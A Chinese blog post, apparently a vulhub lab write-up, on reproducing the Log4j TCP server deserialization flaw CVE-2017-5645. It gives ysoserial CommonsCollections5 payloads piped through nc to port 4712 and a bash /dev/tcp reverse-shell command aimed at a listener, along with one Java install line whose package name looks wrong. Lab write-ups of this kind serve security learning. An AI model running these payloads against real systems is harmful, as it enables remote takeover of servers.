vulhub漏洞复现之Apache Log4j TCP Server 反序列化命令执行漏洞(CVE-2017-5645)

第一部分:漏洞原理深度解析

CVE-2017-5645 的核心是 不安全的反序列化。要理解这个漏洞,我们首先需要明白几个关键概念:序列化、反序列化、以及为什么反序列化会变得危险。

1. 什么是序列化和反序列化?

  • 序列化:将内存中的对象(比如一个Java对象实例)转换成一串字节流的过程。这就像把一个复杂的乐高模型拆解成一袋按顺序排列的积木块,方便存储或通过网络传输。

  • 反序列化:序列化的逆过程,即将字节流重新在内存中构建成原始对象的过程。这就像拿到那袋积木块,按照原来的顺序和方法,重新拼装出那个乐高模型。

在Java中,ObjectInputStream 类是进行反序列化的核心工具。

2. Apache Log4j TCP Server 在做什么?

Log4j 2.x 提供了一个功能,可以作为一个独立的日志服务器运行。这个服务器会监听一个TCP端口(比如本例中的4712),接收来自其他应用程序发送过来的日志事件。

  • 客户端:一个应用程序想发送日志,它会创建一个 LogEvent 对象,这个对象包含了日志级别、时间戳、日志消息、线程名等信息。

  • 传输:客户端将这个 LogEvent 对象序列化成字节流,然后通过TCP socket发送给Log4j服务器。

  • 服务端:Log4j TCP Server(TcpSocketServer)接收到字节流后,会使用 ObjectInputStream 对其进行反序列化,将其还原成一个 LogEvent 对象,然后进行后续的日志处理(如写入文件、打印到控制台等)。

这个过程本身是正常的,是Log4j设计的功能。

3. 漏洞点:信任的崩塌

漏洞的关键在于 Log4j TCP Server 对它接收到的数据“过于信任”

它假设所有通过TCP socket发送过来的字节流,都是一个合法的、由Log4j客户端生成的、安全的 LogEvent 对象序列化后的结果。它没有进行任何的验证、过滤或沙箱处理,就直接将其交给了 ObjectInputStream.readObject() 方法进行反序列化。

这就好比一个快递站,只认包裹上的标签(序列化数据的格式),只要是标签符合的包裹,就无条件地拆开(反序列化),完全不管里面装的是什么。如果攻击者寄来一个伪装成包裹的炸弹,快递站也会照拆不误。

4. 攻击者如何利用?“小工具链” (Gadget Chain)

攻击者无法直接发送一段可执行代码(比如 rm -rf /)让服务器执行。但是,他们可以利用Java生态中广泛存在的“小工具链”(Gadget Chain)。

Gadget Chain 的核心思想是:

攻击者精心构造一个特殊的对象(我们称之为“恶意对象”),这个对象本身不是 LogEvent,但它满足以下条件:

  1. 可序列化:它实现了 java.io.Serializable 接口。

  2. 可触发:当这个对象被反序列化时,Java的机制会自动调用它的某些特殊方法,比如 readObject()

  3. “连锁反应”:在这个 readObject() 方法内部,会去调用其他类的某个方法;那个方法又会去调用另一个类的方法……像多米诺骨牌一样,形成一条调用链。

  4. 最终达成目的:这条调用链的终点,是一个能够执行任意代码的危险方法,比如 Runtime.exec()

** ysoserial 的作用**

ysoserial 正是这样一款神器。它是一个集成了各种已知Gadget Chain的工具。你只需要告诉它:

  • 使用哪个Gadget Chain(例如 CommonsCollections5)。

  • 想要执行什么命令(例如 touch /tmp/success)。

ysoserial 就会自动生成一个包含了完整“多米诺骨牌”的恶意对象的序列化字节流。

漏洞原理总结:

  1. 入口:Log4j TCP Server 在4712端口监听,无条件反序列化任何接收到的数据。

  2. 载体:攻击者使用 ysoserial 工具,构造一个包含恶意Gadget Chain的序列化对象。

  3. 传输:攻击者将这个恶意字节流通过TCP发送到服务器的4712端口。

  4. 触发:服务器端的 ObjectInputStream.readObject() 开始反序列化。

  5. 执行:反序列化过程触发了Gadget Chain的“多米诺骨牌效应”,最终调用Runtime.getRuntime().exec(),执行了攻击者预设的任意命令。

第二部分:反弹Shell的详细实现与原理

现在我们知道了如何执行一个简单的命令(如 touch),那么如何将其升级为交互式的反弹shell呢?

1. 什么是反弹shell?

通常,我们想控制一台服务器,会从我们自己的机器(攻击机)去连接目标服务器(受害机),这叫正向连接
但在很多情况下:

  • 受害机在内网,无法从外网直接访问。
  • 受害机有严格的防火墙,只允许出站流量,不允许入站流量。

这时,反弹shell 就派上用场了。它反其道而行之:

  • 受害机主动去连接攻击机的一个特定端口。

  • 攻击机在该端口上监听,等待连接。

  • 连接建立后,受害机将其命令行(如 /bin/bash)的标准输入、标准输出、标准错误全部“重定向”到这个TCP连接上。

  • 攻击机在监听端口上收到的任何数据,都会被当作命令发送给受害机的shell去执行;受害机shell执行的任何结果,都会通过TCP连接返回给攻击机。

这样,攻击机就获得了一个在受害机上运行的、完全交互式的shell。

2. 如何在Java中实现反弹shell?

在Java中,实现反弹shell最经典、最可靠的方式是使用 /bin/bash-i 和重定向功能。其核心命令如下:

/bin/bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

我们来拆解这个命令的每一个部分:

  • /bin/bash -i:启动一个交互式的bash shell。-i 参数至关重要,它确保shell会读取环境变量、显示提示符等,使其行为像一个正常的终端。

  • >&:这是一个重定向操作符,它将标准输出标准错误都重定向到同一个地方。在反弹shell中,我们希望命令的执行结果和错误信息都能回显给攻击者。

  • /dev/tcp/攻击机IP/攻击机端口:这是bash一个非常强大的特性。它不是一个真实的设备文件,而是bash提供的一个特殊语法,用于创建一个TCP socket连接。当bash看到这个路径时,它会主动尝试连接到指定的IP和端口。

这是整个反弹shell命令的核心。

  • 0>&1:这是最关键的一步,它负责处理标准输入
    • 0 代表标准输入。
    • 1 代表标准输出。
    • 0>&1 的意思是:将标准输入重定向到标准输出的地方
    • 此时,标准输出已经被 >& 重定向到了 /dev/tcp/... 这个TCP连接上。
    • 所以,0>&1 的效果就是:将标准输入也重定向到这个TCP连接上

整个命令的执行流程:

  1. 受害机上的Java进程通过 Runtime.exec() 执行了这条bash命令。
  2. bash启动,并尝试建立一个到 攻击机IP:攻击机端口 的TCP连接。
  3. 攻击机上的监听程序(如 nc -lvnp 9999)收到了连接请求,一个TCP会话建立。
  4. 此时,受害机上的bash进程:
    • 它的标准输出标准错误 都指向了TCP连接。
    • 它的标准输入 也指向了TCP连接。
  5. 交互开始
    • 你在攻击机的终端输入 ls -la 并回车。这个字符串通过TCP连接发送给了受害机的bash。
    • 受害机的bash收到了 ls -la,把它当作一个命令来执行。
    • ls -la 的执行结果(文件列表)被写入到bash的标准输出。
    • 由于标准输出被重定向到了TCP连接,这个结果就通过网络传回了你的攻击机终端。
    • 你在屏幕上看到了受害机目录下的文件列表。

至此,一个完整的反弹shell就实现了。你获得了对受害机的远程控制权。

3. 完整的攻击复现步骤

结合以上原理,我们再完整地走一遍流程。
环境准备:

  • 攻击机:你的Kali Linux或任意Linux系统,需要安装 java, nc (netcat), 并下载 ysoserial-all.jar

  • 受害机:运行着存在CVE-2017-5645漏洞的Log4j TCP Server的Docker容器(IP: your-ip)。

步骤一:在攻击机上启动监听器
我们需要一个端口来接收反弹回来的shell。这里我们选择 9999 端口。

# -l: 监听模式
# -v: 详细输出
# -n: 不做DNS解析
# -p: 指定端口
nc -lvnp 9999

image

执行后,nc 会等待连接。此时看起来是卡住的,这是正常的。

步骤二:构造并发送Payload
现在,我们使用 ysoserial 来生成反弹shell的payload,并发送给受害机的4712端口。

  • Gadget Chain: CommonsCollections5 (这是一个在Java 8u71以下版本中非常稳定和常用的链)
  • 命令: /bin/bash -i >& /dev/tcp/攻击机IP/9999 0>&1
    由于我上面查看了java版本为java11,这里我们安装java8环境并切换
#如果是Red Hat 系 (CentOS/RHEL/Fedora)
yum install java-1.8.0-openjdk.x86_64
#如果是Debian系(Kali Linux/Ubutun)
apt install nvidia-openjdk-8-jre
#然后切换java版本
sudo update-alternatives --config java
#这里可能会遇见没有我们刚才安装的java8,我们需要去手动注册
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java 1081
#切换版本后,检查
java -version

image

*   **注意**:这里的 `攻击机IP` 必须是攻击机可以被受害机访问到的IP地址。并且攻击机也能够nc连接上受害机的IP,即受害机也需要由公网IP。如果两者在同一个局域网,就是局域网IP;如果攻击机有公网IP,就填公网IP。
# 这里我的攻击机IP是 192.168.1.131,受害机IP为192.168.1.133
#这里我们先测试,是否能利用这个反序列化链,先尝试创建一个文件
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.1.133 4712
#通过在受害机查看是否创建成功
docker-compose exec log4j bash
#如果成功的话接着建立连接
java -jar ysoserial-all.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/192.168.1.131/9999 0>&1" | nc 192.168.1.133 4712
#如果失败的话,尝试直接nc查看是否是防火墙导致4712端口未开放,或者重新启动该docker

命令解析:

  1. java -jar ysoserial-...jar CommonsCollections5 "..."
    • 调用Java运行 ysoserial
    • 使用 CommonsCollections5 这个Gadget Chain。
    • 要执行的命令是反弹shell的bash命令。ysoserial 会把这个命令包装进Gadget Chain中,并生成最终的序列化字节流。
  2. |:管道符。将前一个命令的输出(即 ysoserial 生成的恶意字节流)作为后一个命令的输入。
  3. nc your-ip 4712
    • 使用 nc 作为TCP客户端,连接到受害机的Log4j服务器 (your-ip:4712)。
    • nc 会将从管道接收到的所有数据(恶意字节流)原封不动地发送给服务器。

步骤三:获取Shell
当你按下回车执行步骤二的命令后:

  1. ysoserial 生成payload。
  2. nc 将payload发送给 your-ip:4712
  3. 受害机的Log4j服务器接收到payload,开始反序列化。
  4. 反序列化触发 CommonsCollections5 Gadget Chain,最终执行了 Runtime.exec("/bin/bash -i ...")
  5. 受害机上的bash进程尝试连接 192.168.1.131:9999
  6. 你在步骤一中启动的 nc 监听器收到了连接!
  7. 你的 nc 终端会显示连接已建立,并弹出一个bash提示符,类似 bash: no job control in this shell 或直接是一个光标。
    现在,你就可以在这个终端里输入任何命令,就像直接操作受害机一样了。
# 在攻击机的nc终端里
whoami
id
ls -la /

image
这里我创建文件成功了,但是反弹shell等了很久没反应,于是我测试是否是命令有误,或者是连通性的问题,于是我直接在受害机执行了/bin/bash -i >& /dev/tcp/192.168.1.131/9999 0>&1该命令,发现能够成功连接。暂时不清楚是什么原因导致反弹shell失败
image

你将看到受害机执行这些命令后的结果。

总结

CVE-2017-5645 是一个典型的因“信任外部输入”而导致的不安全反序列化漏洞。其利用过程可以概括为:

  1. 漏洞根源:Log4j TCP Server未经验证地反序列化外部传入的数据。
  2. 利用工具ysoserial,用于封装Gadget Chain,生成恶意序列化数据。
  3. 攻击载荷:一个精心设计的Java对象,其反序列化过程会触发一系列方法调用,最终执行 Runtime.exec()
  4. 攻击升级:将简单的命令执行(如 touch)替换为复杂的bash重定向命令(/bin/bash -i >& /dev/tcp/... 0>&1),从而建立一个由受害机主动发起的、稳定的、交互式的反向控制通道(反弹shell)。
    这个漏洞深刻地揭示了在处理序列化数据时,必须始终遵循“零信任”原则,对数据进行严格的校验、净化或使用安全的替代方案(如JSON、XML等文本格式)。
posted @ 2025-08-07 11:01  yangzilu  阅读(299)  评论(0)    收藏  举报